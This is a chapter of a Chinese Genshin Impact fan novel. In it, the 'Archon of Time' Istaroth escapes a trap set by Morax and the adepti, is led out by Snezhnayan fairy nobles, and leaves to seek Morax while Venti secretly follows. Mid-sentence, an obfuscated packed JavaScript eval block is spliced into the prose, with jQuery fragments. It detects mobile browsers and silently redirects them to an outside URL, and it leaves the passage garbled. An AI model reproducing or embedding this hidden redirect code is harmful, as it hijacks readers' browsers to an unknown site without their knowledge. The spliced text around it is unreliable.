59.人间一梦(五十九)
作品:《[原神]我,时之执政,认识你祖宗》 伊斯塔露回以无波无澜的视线。
她不算一个多感性的人,不会为了一个伪装的归终动容。
也如伊斯塔露所料,众目睽睽之下,“归终”踮着脚,穿过人墙,正正好在她面前站定。
请仙典仪变故陡生,四周的百姓却都没有异议,反而和“归终”一样,目不转睛地盯着她。
风声仿佛也在这一刻凝滞。
一声轻叹破开寂静。
伊斯塔露平静地环顾四周,在一张张扮作凡人的面孔中寻找熟悉的痕迹:
“销虹霁雨真君,削月筑阳真君,留云借风真君……还有,帝君。”
伊斯塔露记忆里有名有姓的仙人们几乎全部到场,没被她喊出名字的只有魈和归终——一个或许没来,一个本是假的。
伊斯塔露正对着玉京台中央,向她昔日的同僚们行了一礼,她的衣袍被风吹得猎猎作响。
“诸位,真是好大的阵仗。”
“特意在玉京台入口开出子空间守株待兔……有必要么?”
列席中,青发黑衣的女子推了推鼻梁上的眼镜,忍不住多看了她两眼。
可伊斯塔露的眉眼看上去只是有些疲惫,却没有一丝悔意。
“伊露,你可曾后悔过?哪怕一分?你我曾经……”
站在伊斯塔露面前的“归终”心痛地看着她,质问般开口。
“没有。”
伊斯塔露简短快速地打断了“归终”,又垂下眼帘和她对视,像是在回答她,也是在回答自己。
“我不曾为我做的任何事感到后悔。”
话音落下,满堂寂静。
归终身后,摩拉克斯负着双手缓缓走来,鎏金的眼眸中光华璀璨,恍如岩星天坠。
就和伊斯塔露第一次见他时那样。
可伊斯塔露早已不是最初那个尚且懵懂的伊露,摩拉克斯也没再释放出魔神威压来压人。
伊斯塔露回头看了温迪两眼,示意他不要出手,随后,清脆的响指声响起。
时间在那一瞬间停滞。
伊斯塔露已经想清楚了,她只需要趁现在解决假冒的“归终”,再快速脱身就是。
仅凭摩拉克斯和他座下的仙人,应该阻止不了她。
可她才闪身来到“归终”面前,就感受到时间重新开始流动,摩拉克斯睨了她一眼,随手一指,两支岩枪便破风而来。
一支阻拦了她要杀死“归终”的右手,另一只直直钉向她的心脏。
情急之下,她左手迎向岩枪,五指轻拨。
岩枪在扎入她掌心的前一刻停下,开始寸寸解离崩摧。
就像岩石在漫长的时间中,被缓缓磨损。
岩枪破碎后,伊斯塔露后退半步,若有所思地盯着摩拉克斯。
身为魔神,摩拉克斯强得有些夸张了。自己不过是分了一半权能在温迪身上,居然就已经在兵刃上有些敌不过他。
但两人的视线触之即过,伊斯塔露再次向似乎被她吓得失了神的“归终”抬起手,却听身后的摩拉克斯冷不丁道:
“不如看看身后。”
伊斯塔露没有回头,却还是用眼角余光瞥了一眼身后的众仙。
摩拉克斯仍然负着手,众仙家却已经包围了温迪。
伊斯塔露当即意识到了摩拉克斯欲意为何。
要么她对仙人们动手,要么放任温迪被抓,要么摩拉克斯能猜到,与她随行的少年也身份不凡。
伊斯塔露毫不迟疑,放弃了进攻“归终”,转而飘向温迪。
诡异的白雾却先她一步出现在玉京台中央,随后迅速弥漫开来。
白雾不仅来得蹊跷,效果也出乎预料,不仅困住了璃月众仙和摩拉克斯,连伊斯塔露也迷失在了这片不能视物的雾中。
——直到一簇幽蓝的火苗在雾中亮起,像是在为她指明前路。
青年优雅又闲散的声音在远方响起,飘飘渺渺的,令人听着不太真切:
“尊贵的「时之执政」阁下,请允许我为您引路。”
伊斯塔露没有动。
远方的声音顿了片刻,泰然开口:
“「时之执政」阁下,我们奉白沙皇陛下之命前来,这雾气效用有限,您可要尽快……做出抉择。”
这个声音口中的白沙皇,即是至冬的冰神,就如同璃月的岩神“岩王帝君”。
伊斯塔露迟疑片刻,还是跟上了那簇幽蓝的火苗。
火苗似乎攒动了一下,伊斯塔露依稀听到了青年的笑声。
跟着这簇蓝火,伊斯塔露找到了同样困在雾中的温迪,她拉上温迪,循着蓝火的指引,离开了浓雾。
离开子空间前,伊斯塔露回望了一眼陷入浓雾中的众仙人。
没有人追来,包括摩拉克斯。
摩拉克斯猜到了,“归终”安然无恙,她还会回去的。
她挑起眉,最后只是长叹一声,和温迪,以及那簇蓝火一起,脱离了众仙家创造的子空间。
回到真正的玉京台外,还能看见人群熙熙攘攘地围着正中央的桌案,此时太阳尚未升到正空——请仙典仪还没开始。
伊斯塔露面前则站着一排衣着华丽容貌俊美的人,这些人个个神色肃穆,看上去与璃月的氛围格格不入。
伊斯塔露眯着眼注视眼前不请自来的一行人,道:
“你们是……雪国的妖精?”
那本笔记里提到过这个种族,但却一笔带过,只说他们曾是被人类创造出来的奴隶,却会跟着至冬的冰神成为贵族。
其余妖精都神色肃穆,一言不发,反而是引伊斯塔露离开浓雾的蓝火倏然出现,幻化成蓝发黑衣的俊美青年,向她鞠躬致意:
“有幸与您相会,高贵的「时之执政」阁下,您可以称呼我为楚德米尔。”
“如您所见,我们是来自至冬的妖精一族,奉白沙皇陛下之命,邀请您前去至冬堡一叙。”
楚德米尔顿了顿,又客气而郑重地补充道:
“我们同样也是至冬的贵族,象征白沙皇陛下对您的最高敬意。”
伊斯塔露和楚德米尔对上视线,她注视着那没有焦点的眼睛,语气平淡:
“现在?大概不行。”
除了楚德米尔,那一排妖精的脸色似乎都变了变,只有蓝发青年依旧优雅而得体地叹息:
“听到这个消息,我难免感到惋惜,但仍希望您前路顺遂,阁下。”
不过是以退为进,伊斯塔露听得出来。
“……替我感谢白沙皇的好意,等我离开璃月,我会去拜访他的。”
如他所愿,伊斯塔露还是给出了承诺。
没有无缘无故的善意,至冬冰神不惜在璃月岩神眼皮子底下出手“救人”,当然要她报以等价的东西。
比如……如白沙皇所要求的那样,前往至冬一叙。
得到了承诺,青年满意地眯起眼笑了笑:
“那么,「时之执政」阁下,白沙皇陛下,还有至冬,随时欢迎您的到来。”
“我们至冬见。”
以青年为首,雪国的妖精贵族们向伊斯塔露鞠躬告别,他们身形溃散,不着痕迹地融入了环境中。
伊斯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415256|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
塔露叹了口气。
又欠一个人情。
伊斯塔露身边安安静静的温迪终于开口:
“诶,伊斯塔露还认识巴纳巴斯?”
温迪说的是冰神的魔神名。
伊斯塔露摇摇头,若有所思地垂眼:
“我从未见过至冬的冰神。”
“所以我也好奇,这位为什么会找上我。”
这位白沙皇知道得似乎有点太多了。
不仅知道「时之执政」,还能把她找出来。
“啊,我这些年在蒙德的时候,倒是听说过一些有关白沙皇的传闻。”
温迪用食指和中指抵在太阳穴,像是了思索片刻,随后一脸神秘地靠近了伊斯塔露。
“来,靠近些,我跟你说哦。”
温迪的声线沉下来,缓缓道:
“据说白沙皇曾见证过天外之人的骸骨被碎作七段,也曾带领妖精与人类建立新的秩序。”
“谁也没见过白沙皇的真面目,却都敬畏着雷霆手段的帝王。”
伊斯塔露沉吟不语,良久之后,才轻叹一声:
“温迪,你从哪里知道的这些?”
温迪朝她眨了眨左眼,笑道:
“诶嘿。”
和那双天青色的眼睛对视片刻后,伊斯塔露放弃了追根溯源。
孩子大了,有自己的心事了,随他去吧。
她现在还有别的事情要解决。
“温迪,我要去绝云间找摩拉克斯。”
“诶?会很危险吧?还要去吗?”
温迪蹙起眉,难得有了劝说伊斯塔露的意思。
“嗯。”
伊斯塔露点点头,侧头看着温迪,难得认真起来:
“我不希望有人顶着归终的名字,对她深爱的国家和人类造成伤害。”
“我知道很危险啊,但生在世上,总会有一些执着的,温迪能理解吧?”
“如果伊斯塔露下定决心,我又怎么会拦你呢?”
温迪移开视线,无奈地耸了耸肩。
“只是你和他们看上去是有误解的,不要总是不说啊。”
“会很累哦,伊斯塔露?”
“毕竟是‘杀死’归终的罪人,就算说什么思念故人,也只会显得假惺惺吧。”
伊斯塔露沉默片刻,苦笑着摇了摇头。
“就像那天晚上一样,徒生事端、让别人更难过而已。”
“那我陪你吧?”
温迪自然而然地要动身,却被伊斯塔露拦下:
“不用了,留在客栈吧。”
温迪瞪大了眼,开始和伊斯塔露说胡话:
“诶?为什么不让我去?我是酒鬼诗人就要被嫌弃了吗?”
“多大点事呢,现在他们也只是审问通缉犯而已。”
“我要脱身总是有办法的。”
伊斯塔露在桥边东望,目光悠远,将璃月远方的群山万壑收入其中。
“但如果让岩神和风神站在对立的立场,这个问题的性质就得上升了。”
温迪无奈地摊了摊手:
“那你此行多加小心。”
“你回来了,和我一起去喝璃月的酒吧?”
“好。”
伊斯塔露向温迪挥了挥手,孤身一人走向沿着海港外的小路山间。
她没有看见,身后的少年被流风丝丝缕缕地缠绕着,随后身形消散,无声无息地融入了风中。
“对不起啦,伊斯塔露,我可没答应你,要在客栈等你。”
“有风在的地方,就有我哦。”